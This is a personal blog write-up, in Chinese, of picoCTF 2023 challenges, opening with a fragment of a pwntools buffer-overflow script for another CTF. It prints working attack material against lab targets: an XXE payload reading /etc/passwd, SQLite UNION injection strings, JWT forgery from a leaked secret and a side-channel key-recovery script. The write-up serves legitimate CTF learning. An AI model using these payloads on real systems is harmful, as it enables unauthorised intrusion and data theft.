     0x40165b  mov    rax, QWORD PTR [rbp-0x78]
     0x40165f  leave
 →   0x401660  ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ms", stopped 0x401660 in delete_user (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401660 → delete_user()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern search aaaanaaaaaaaoaaaaaaa
[+] Searching for 'aaaanaaaaaaaoaaaaaaa'
[+] Found at offset 100 (big-endian search)

from pwn import *

r=remote('chals1.ais3.org',10003)

s=0x40131b

r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(b'123')
r.recvuntil(b': ')
r.sendline(b'123')
r.recvuntil(b': ')
r.sendline(b'123')
r.sendline(b'3')
r.recvuntil(b': ')
r.sendline(b'100 '+b'A'*100+p64(s))
r.interactive()

FLAG: FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}

picoCTF 2023 Write Up

2023-03-30T18:09:42.000Z

這次打picoCTF沒有升學壓力，相對2022也解了更多題(除了一些通靈題QAQ)，這次賽中解出了36/45題，最後的名次是Global 200/6925、Undergraduate Student 59/2464，算是單刷picoCTF以來最好的成績，希望明年可以破台全類別:P(但看那個Web的解題人數，整個怕爆…)，以下會整理我picoCTF 2023有解出的題目解法!。P.S.看完比賽結果我還是乖乖的去打Reverse好了.w.

Web Exploitation

今年的Web一共有7題，其中的5題算是相對基本的題目，但剩下兩題加起來解題人數不到10人.w.。題目敘述會依照我認為的難度來區分顏色～

findme

AUTHOR: GEOFFREY NJOGU

Description：
Help us test the form by submiting the username as test and password as test!
The website running here.
100 Points

這題算是最簡單的題目了，連進去網站之後會發現一個登入介面，用它給我們的帳號密碼登入看看：

會發現一個像是查詢介面的東西，但它下面說他被redirected了，可以聯想他是302 Redirection的題目，用F12觀察一下原始碼，登入時第一個呼叫的檔案是/login，因此我們用curl來登入看看還沒redirected之前的內容。

1 2	$ curl -d "username=test&&password=test!" http://saturn.picoctf.net:52452/login Found. Redirecting to /next-page/id=cGljb0NURntwcm94aWVzX2Fs

發現他所指向的是/next-page/id=cGljb0NURntwcm94aWVzX2Fs這個頁面，那再繼續追到下一層：

$ curl http://saturn.picoctf.net:52452/next-page/id=cGljb0NURntwcm94aWVz
X2Fs


    flag

他的下一層是/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==，而這兩段id很明顯是base64編碼，因此將它們拼接之後利用base64解碼即可獲得flag。

1 2	$ echo "cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzAxZTc0OGRifQ==" \| base64 -d picoCTF{proxies_all_the_way_01e748db}

MatchTheRegex

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about trying to match a regular expression
The website is running here.
100 Points

這題進到網頁之後會看到一個像是flag checker的輸入區，亂打東西進去會alert('wrong match! Try again!');，看看原始碼寫了些什麼：

這一段很明顯是條件限制的要求，而^p.....F!?是Regex的限制條件，再看看題目，很明顯picoCTF符合條件，因此輸入picoCTF即可獲得完整flag。

SOAP

AUTHOR: GEOFFREY NJOGU

Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Web Portal
100 Points

這題是一個XXE的題目(Hint有寫)，所以進去之後馬上找有沒有輸入的介面，可以發現他的detail前面其實都有個被hidden的input欄位，把hidden去掉之後就是一個輸入介面了。

接下來就是找XXE的植入點，很明顯Details會執行input欄位的東西，因此看看他的source code看看如何運作：

這是一個產出xml的過程，而input的內容則會被送進data中。但這裡的data會被送進HTML的標籤裡面，XXE需要一個前置的標籤來設定XXE環境，因此將典型的XXE payload前置塞入xml的變數中，input欄位輸入&ent;即可讀取任意檔案，payload如下：

1
2
3


replace [ent SYSTEM "file:///etc/passwd"> ]>
<data>&ent;data>

More SQLi

AUTHOR: MUBARAK MIKAIL

Description
Can you find the flag on this website.
Try to find the flag here.
200 Points

這題很明顯是SQL Injection的題目，連進去看看他是怎麼運作的。

進去就是一個SQL Injection的典型登入介面，先亂打看看他的表達式：

這是一個password在前面的表達式，那我們將password加上'OR 1=1--即可繞過條件成功登入。登入後可以看到以下介面：

看來是個第二層的SQL Injection，查表格，但它是個盲注，先用UNION攻擊試試看。

Payload：' UNION SELECT 1,2,3--

成功了，那麼就在裡面注入SQLite的SQL Injection攻擊指令吧!首先先查詢這個database有哪些表格，並且用LIMIT限制輸出的index：

Payload：' UNION SELECT (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 3,1),2,3--

用LIMIT前後尋找後可以發現一個叫做more_table的表格，再攻擊一次看看裡面有哪些欄位：

Payload：' UNION SELECT (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='more_table'),2,3--

裡面有一個叫做flag的欄位，用SELECT去讀取它即可獲得flag。

Payload：' UNION SELECT (SELECT flag FROM more_table),2,3--

Java Code Analysis!?!

AUTHOR: NANDAN DESAI

Description
BookShelf Pico, my premium online book-reading service.
I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book!
Here are the credentials to get you started:
Username: “user”
Password: “user”
Source code can be downloaded here.
Website can be accessed here!.
300 Points

這題又給了一個登入介面，用它給的帳號密碼登入看看。

裡面有一個叫做FLAG的pdf，很明顯flag應該在它裡面，但它需要Admin權限才能讀取，這時候回頭看看題目的Hint，應該是個關於JWT的題目，同時看看他給的source.zip，裡面也有JWT的相關JAVA設定，其中SecretGenerator.java裡面洩漏了JWT的secret key，表示我們可以直接攻破JWT Token來獲得Admin權限。

package io.github.nandandesai.pico.security;

import io.github.nandandesai.pico.configs.UserDataPaths;
import io.github.nandandesai.pico.utils.FileOperation;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.io.IOException;
import java.nio.charset.Charset;

@Service
class SecretGenerator {
    private Logger logger = LoggerFactory.getLogger(SecretGenerator.class);
    private static final String SERVER_SECRET_FILENAME = "server_secret.txt";

    @Autowired
    private UserDataPaths userDataPaths;

    private String generateRandomString(int len) {
        // not so random
        return "1234";
    }

    String getServerSecret() {
        try {
            String secret = new String(FileOperation.readFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME), Charset.defaultCharset());
            logger.info("Server secret successfully read from the filesystem. Using the same for this runtime.");
            return secret;
        }catch (IOException e){
            logger.info(SERVER_SECRET_FILENAME+" file doesn't exists or something went wrong in reading that file. Generating a new secret for the server.");
            String newSecret = generateRandomString(32);
            try {
                FileOperation.writeFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME, newSecret.getBytes());
            } catch (IOException ex) {
                ex.printStackTrace();
            }
            logger.info("Newly generated secret is now written to the filesystem for persistence.");
            return newSecret;
        }
    }
}

從Application中拿出現在的JWT token，丟入jwt.io看看。

更改我們所需要的資訊，並且輸入secret key以完成認證。

接著將jwt與payload送回網站，重整一次看看。

我們現在是Admin的角色了，但不知為何在讀取FLAG時還是失敗了，因此我轉向另一個方向，現在我們可以操控Admin Dashboard的內容，於是將user的Role也設定成Admin。

這時候重新登入user一次，便能讀取FLAG獲得flag了!

Cryptography

這次的Crypto是我解最少的一個類別，只解出了7題中的4題，看來密碼學實力還需要再精進><但這次的密碼學簡單部分的過度通靈，我覺得是所有類別中出得最差的一個…

HideToSee

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about some hide and seek heh?
Look at this image here.
100 Points

這題給了一張圖片，看來是圖片隱寫術(但怎麼會放在這裡呢??這裡是密碼學欸= =)，經過了各種嘗試我在這個線上工具裡面獲得了一些東西。它在這張圖片的輸出是krxlXGU{zgyzhs_xizxp_7142uwv9}，而這張圖片本身像是一個對應表，因此經過對應，並且維持原本的大小寫後即可得到flag。

P.S.這題是我覺得今年出得最爛的一題= =

ReadMyCert

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about we take you on an adventure on exploring certificate signing requests
Take a look at this CSR file here.
100 Points

這題給了一個簽證檔案，馬上看看裡面寫了什麼。

$ cat readmycert.csr
-----BEGIN CERTIFICATE REQUEST-----
MIICpzCCAY8CAQAwPDEmMCQGA1UEAwwdcGljb0NURntyZWFkX215Y2VydF80MWQx
Yzc0Y30xEjAQBgNVBCkMCWN0ZlBsYXllcjCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOdcDj2/m1LxBrXb3ch9+2BtKd3b8NFn4USXA5JORPfeGcDdIX4V
SiRkFrbxLOit6SZwoAyWQ7SmWJTtzADbr82qTbVktGJj9YebwK57jpMEL6BPT9YA
cE9AGFtVJycL+IXqtlTqAGq4DjcPtAs5THgIPDJ+aTgRDHP8YItfEFs+aywLd8kS
WSmttEjS874Tc++b9PbQ246IIrtQ701/I1NB0S/inzQvPCui+hLSHgMFkGS4leN7
7xJORGAQueRejKuYnOs6HbAlbK0oIWKR83BxkntDBee8KhOPDynHDgYoblERl8rL
JAfcVogKNSniIztMkzh408V9mbLHOfsr6eUCAwEAAaAmMCQGCSqGSIb3DQEJDjEX
MBUwEwYDVR0lBAwwCgYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAFEyhXpa
nZz/ofFW/31ryCF3nyvNg9pOyIniu8kcpiteSaOkNm4YREBCRwj92X3Wy1MUi/7Z
urXwR1TcRTxLdPqeVBn4nsJclAgZqMKcT0ftz5fAM/Xg5whwBHEBb1qFVN+HGhPo
1TKfhXunICyrjNWvM+2fudM2RPsGb0sBsjLAe1/6OJK82LJBoHQ0GlCPDN1tncrl
lpzHACCFPv7LMVF9BSkZDCQNglU1NYDDelXZezfXLbio/a1RC2k4rs+jorVmFese
elZFzORDsCzlgD87NvBUMZWI8J5+9fZeaWAQQfhwEiZOVn8IcjLUxUraxt4rbI/h
0EUJJuCjGyTjRpQ=
-----END CERTIFICATE REQUEST-----

這坨東西經過了base64編碼，把它解碼之後就能發現flag在裡面了。

rotation

AUTHOR: LOIC SHEMA

Description
You will find the flag after decrypting this file
Download the encrypted flag here.
100 Points

這題給了一個很像Caesar Cipher的文字檔，但事實上，它就是Caesar Cipher(._.)，Brute Force之後即可獲得flag。

PowerAnalysis: Warmup

AUTHOR: ANISH SINGHANI

Description
This encryption algorithm leaks a “bit” of data every time it does a computation. Use this to figure out the encryption key.
Download the encryption program here encrypt.py. Access the running server with nc saturn.picoctf.net 53848.
The flag will be of the format picoCTF{} where is 32 lowercase hex characters comprising the 16-byte encryption key being used by the program.
200 Points

這題每次輸入不同的plaintext之後，就會獲得不同的數值，其意義是用來計算所有二進位中1的數量。但基於他的加密算法encrypt()過於簡單，如下所示：

#!/usr/bin/env python3
import random, sys, time

with open("key.txt", "r") as f:
    SECRET_KEY = bytes.fromhex(f.read().strip())

Sbox = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

# Leaks one bit of information every operation
leak_buf = []
def leaky_aes_secret(data_byte, key_byte):
    out = Sbox[data_byte ^ key_byte]
    leak_buf.append(out & 0x01)
    return out

# Simplified version of AES with only a single encryption stage
def encrypt(plaintext, key):
    global leak_buf
    leak_buf = []
    ciphertext = [leaky_aes_secret(plaintext[i], key[i]) for i in range(16)]
    return ciphertext

# Leak the number of 1 bits in the lowest bit of every SBox output
def encrypt_and_leak(plaintext):
    ciphertext = encrypt(plaintext, SECRET_KEY)
    ciphertext = None # throw away result
    time.sleep(0.01)
    return leak_buf.count(1)

pt = input("Please provide 16 bytes of plaintext encoded as hex: ")
if len(pt) != 32:
    print("Invalid length")
    sys.exit(0)

pt = bytes.fromhex(pt)
print("leakage result:", encrypt_and_leak(pt))

因此我們可以很容易地窮舉出在固定plaintext的順序之下，每一位key(共256種，0x00-0xff)所對應的bit leak陣列為何，這裡是將0x00-0xe做為每次改動的plaintext，其餘設為0的條件下，只要將最後得到的整個plaintext陣列減去其中最小值，即可獲得單位key的bit leak，此時再將結果與前面所得到的窮舉比對，便能得到最後的key了。exploit如下：

from pwn import *

out=[]

sb=[0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]

for i in range(0xff):
    m=[]
    for j in range(15):
        m.append(sb[j^i]&0x01)
    out.append(m)

for i in out:
    print(i)

flage=[]

for i in range(16):
    n=[]
    nn=[]
    for j in range(15):
        payload=''
        payload+='0'*((15-i)*2+1)
        payload+=hex(j)[2:]
        payload+='0'*i*2
        r=remote('saturn.picoctf.net',56284)
        r.recvuntil(': ')
        r.sendline(payload.encode())
        g=int(r.recvline().strip()[16:])
        n.append(g)
        r.close()
    for k in n:
        nn.append(k-min(n))
    print(nn)
    for l in range(0xff):
        if out[l] == nn:
            flage.append(l)

flage.reverse()
print(flage)
print(''.join([hex(i)[2:] for i in flage]))

Reverse Engineering

CLEAR

這次的Reverse是我兩個破台類別中的其中一個，十分欣慰，因為我最常打的就是Reverse類別了.w.希望以後Reverse可以越打越好!(但其他類別也要加強QAQ)

Ready Gladiator 0

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you make a CoreWars warrior that always loses, no ties?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 64827 < imp.red
100 Points

這題題目上大喇喇地寫著CoreWar，首要條件當然就是先知道CoreWar是甚麼囉XD他其實是一個多程式攻擊比賽，多個程式會同時在電腦上運行，並想辦法將其他程式打爛，留下自己。但這裡的CoreWar比較簡單，只要符合他的條件即可。這一題說我們要想辦法讓其中一個warrior 100連敗，沒有平手。因為他原本給的imp.red會造成100次平手，可想而知我們應該要改正他的指令。其實要讓自己100連敗並不是甚麼困難事，只要在遊戲中亂mov就相對容易達到了。以下是原始的指令：

$ cat imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end

如果我們mov其他的東西呢?試試以下指令：

$ cat imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 0
end

可想而知的，我們成功拿到了100連敗，得到flag。

$ nc saturn.picoctf.net 61590 < imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 0
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
mov 0, 0
end

Rounds: 100
Warrior 1 wins: 0
Warrior 2 wins: 100
Ties: 0
You did it!
picoCTF{h3r0_t0_z3r0_4m1r1gh7_e1610ed2}

Reverse

AUTHOR: MUBARAK MIKAIL

Description
Try reversing this file? Can ya?
I forgot the password to this file. Please find it for me?
100 Points

這題是今年Reverse最簡單的題目，只要strings他就能在裡面找到flag了，但既然他是個password checker，我們還是逆向他一下吧。

很明顯的，下面的xor會確認輸入是否一致，而他的password就是v10-v14的字串拼接，也就是flag的一部份…那麼我們就來輸入密碼獲得flag吧(心虛)

$ ./ret
Enter the password to unlock this file: picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a
You entered: picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a
Password correct, please see flag: picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a4}
picoCTF{3lf_r3v3r5ing_succe55ful_2f0131a

Safe Opener 2

AUTHOR: MUBARAK MIKAIL

Description
What can you do with this file?
I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
100 Points

其實我不知道為什麼這題是2，但既然他給了就打開看看吧，裡面有一個.class檔案，有看我前幾篇發的Reverse Engineering基礎就知道，java的.class是可以被輕易decompile的吧～所以我們就用線上工具來逆向他，得到的原始碼如下，flag就在裡面：

import java.io.IOException;
import java.util.Base64;
import java.io.Reader;
import java.io.BufferedReader;
import java.io.InputStreamReader;

// 
// Decompiled by Procyon v0.5.36
// 

public class SafeOpener
{
    public static void main(final String[] args) throws IOException {
        final BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
        final Base64.Encoder encoder = Base64.getEncoder();
        String encodedkey = "";
        String key = "";
        for (int i = 0; i < 3; ++i) {
            System.out.print("Enter password for the safe: ");
            key = keyboard.readLine();
            encodedkey = encoder.encodeToString(key.getBytes());
            System.out.println(encodedkey);
            final boolean isOpen = openSafe(encodedkey);
            if (isOpen) {
                break;
            }
            System.out.println("You have  " + (2 - i) + " attempt(s) left");
        }
    }
    
    public static boolean openSafe(final String password) {
        final String encodedkey = "picoCTF{SAf3_0p3n3rr_y0u_solv3d_it_3dae8463}";
        if (password.equals(encodedkey)) {
            System.out.println("Sesame open");
            return true;
        }
        System.out.println("Password is incorrect\n");
        return false;
    }
}

timer

AUTHOR: LOIC SHEMA

Description
You will find the flag after analysing this apk
Download here.
100 Points

這題是個apk檔案的逆向，因為之前逆向過蠻多apk的題目了，所以就直接忽略他的Hint，顯然他的方法有點麻煩XD首先我先用apktool把apk裡面的東西輸出成資料夾：

$ apktool d timer.apk
I: Using Apktool 2.5.0-dirty on timer.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/m3t30r/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

接著利用grep在資料夾裡爆搜pico就能夠找到flag了:P

1 2	$ grep -r "pico" apktool.yml: versionName: picoCTF{t1m3r_r3v3rs3d_succ355fully_17496}

Virtual Machine 0

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you crack this black box?
We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: Download.
100 Points

這題其實是一個蠻詭異的題目，他給了一個.dae檔案，他是一個3D建模常見的輸出檔案，所以可以用Blender開(要不是平常有在亂玩Blender我根本不知道要怎麼開.w.)。打開之後會發現一個黑盒子：

而題目說紅色桿子是輸入，藍色桿子是輸出，那麼我們來看一下裡面的運作吧，把外面的黑盒子部分刪掉之後：

可以發現裡面是樂高齒輪的形狀，有碰過樂高的齒輪就可以很輕易的判斷出紅色的是40齒的齒輪，而藍色和灰色是8齒(或者是也可以慢慢數啦XD)，因此紅色轉1圈時，藍色會轉5圈。這時代入他給我們的input，把他轉成byte形式就可以拿到flag了。

$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import *
>>> inp=39722847074734820757600524178581224432297292490103996085769154356559546905
>>> long_to_bytes(inp*5)
b'picoCTF{g34r5_0f_m0r3_c133eae2}'

P.S.這題這麼少人解應該是因為不知道.dae到底是什麼XD

No way out

AUTHOR: KRIS

Description
Put this flag in standard picoCTF format before submitting. If the flag was h1_1m_7h3_f14g submit picoCTF{h1_1m_7h3_f14g} to the platform.
Windows game, Mac game
200 Points

P.S.今年的reverse都是我有在用的軟體，讚啦

這題是一個unity遊戲，進去之後會有一個第一人稱的Controller，可以亂爬，但是外面的牆擋住了，不讓使用者出去。從題目看起來應該是出去之後就可以拿到flag了，外面也有一個高高的flag在那邊，所以可想而知，要從patch下手。unity本身是一個利用C#控制的程式，所以可以利用dnSpy來逆向，開發者自己編寫的語言會儲存在Assembly-CSharp.dll裡面。用dnSpy打開他：

因為我們是被關住，所以直覺就是往First Person Controller被限制去想，翻一下Player Controller的code可以發現下面這個東西：

他的if條件式裡面出現了有關isGrounded的bool判斷，因此想法就是把他patch掉，這樣或許我們就可以不受unity遊戲中牆壁與跳躍的限制。利用dnSpy把if中的isGrounded通通patch掉之後，再次運行遊戲。

這個時候我們的跳躍限制就解除了，甚至可以飛(?)。然後就會發現飛到flag的頂端之後，flag就會跑出來了XD神奇的設計：）

Ready Gladiator 1

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you make a CoreWars warrior that wins?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 58681 < imp.red
To get the flag, you must beat the Imp at least once out of the many rounds.
200 Points

這題跟前面的類型是一樣的，差別只是在他要求我們至少要贏一次。可想而知又是從imp.red動手腳，而Hint裡面說我們可以在beginner docs裡面找到可用的warrior，所以我們就去這裡找找看，而在裡面發現了一個Dwarf的模型，馬上來試試看。以下是imp.red的內容：

$ cat imp.red
;redcode
;name Imp Ex
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #4
end

執行後就可以拿到flag了。

$ nc saturn.picoctf.net 58681 < imp.red
;redcode
;name Imp Ex
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #4
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #4
end

Rounds: 100
Warrior 1 wins: 26
Warrior 2 wins: 0
Ties: 74
You did it!
picoCTF{1mp_1n_7h3_cr055h41r5_441be1fc}

Virtual Machine 1

AUTHOR: LT ‘SYREAL’ JONES

Description
The enemy has upgraded their mechanical analog computer. Start an instance to begin.
We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. Reverse engineer the mechanism and get past their checker program:
nc saturn.picoctf.net 63883
300 Points

這一題是剛剛Virtual Machine 0的進階版，其實不難但是非常麻煩，我們一樣用blender打開他：

這次是個複雜到爆炸的齒輪，一樣紅色作為輸入，藍色作為輸出，但中間經過了三個階段的齒輪設計，除了一般齒輪之外中間還安插了一種特別的轉輪。

這個東西稱為差速器，是齒輪設計時為了避免轉速不一所設計的物件，當兩邊的輸入轉速不一樣時，這個差速器的輸出轉速將會是$\dfrac{1}{2}($左轉速+右轉速$)$，經由這個理論就能用數的將這個題目完成了，數完的結果會是$output=input\times7\times191\times7=input\times9359$，此時再連進nc輸入結果即可。

$ nc saturn.picoctf.net 63883
If the input to the machine is 4347, what is the output?
Answer> 40683573
40683573
That's correct!
picoCTF{m0r3_g34r5_3g4d_2efa1d52}

Ready Gladiator 2

AUTHOR: LT ‘SYREAL’ JONES

Description
Can you make a CoreWars warrior that wins every single round?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 53774 < imp.red
To get the flag, you must beat the Imp all 100 rounds.
400 Points

這題是這個類別裡我最後解掉的題目，但也是讓我覺得最通靈的題目，這次的要求是要讓我們的warrior 100連勝，這從我們前面的write up看起來幾乎是不可能的事，網路上也沒有相關的文件說明這件事情，因此我決定從基本的指令下手，畢竟picoCTF不太可能讓我們寫一段冗長的redcode(吧)。看看以下這個說明：

再看看Hint說當warrior靠近時，再做一次會進行子程序，一開始我並不知道這個提示究竟想表達什麼.w.但後來對照一下，發現他跟JMP這個指令似乎有密切的關係，JMP代表著跳躍到另一個位置，那我們來試試看這樣是不是能閃躲另一個warrior的攻擊。

$ cat imp.red
;redcode
;name Imp Ex
;assert 1
jmp 0, 3
end

試了好幾種方法，似乎還是拿不到flag，但後來又在這裡發現了Addressing Modes的東西，亂試了一下，發現試了一輪還是不行。後來過了幾天異想天開，想說負數不知道可不可以，結果亂試了一下，就中了OAO打picoCTF果然需要一點通靈.w.

$ nc saturn.picoctf.net 52306 < imp.red
;redcode
;name Imp Ex
;assert 1
jmp 0, <-3
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
jmp 0, <-3
end

Rounds: 100
Warrior 1 wins: 100
Warrior 2 wins: 0
Ties: 0
You did it!
picoCTF{d3m0n_3xpung3r_9a074a57}

Forensics

這個類別一直以來都是picoCTF中數一數二通靈的，今年也不例外。但其實題目素質有變好，不過我沒解出的兩題真的太通了，完全通不到= =只能說沒有靈異體質千萬不要打CTF(X

hideme

AUTHOR: GEOFFREY NJOGU

Description
Every file gets a flag.
The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.
100 Points

這題是個簡單的圖片隱寫術，給了一張picoCTF的logo，用一些工具簡單處理一下，可以發現一點端倪。

$ binwalk flag.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
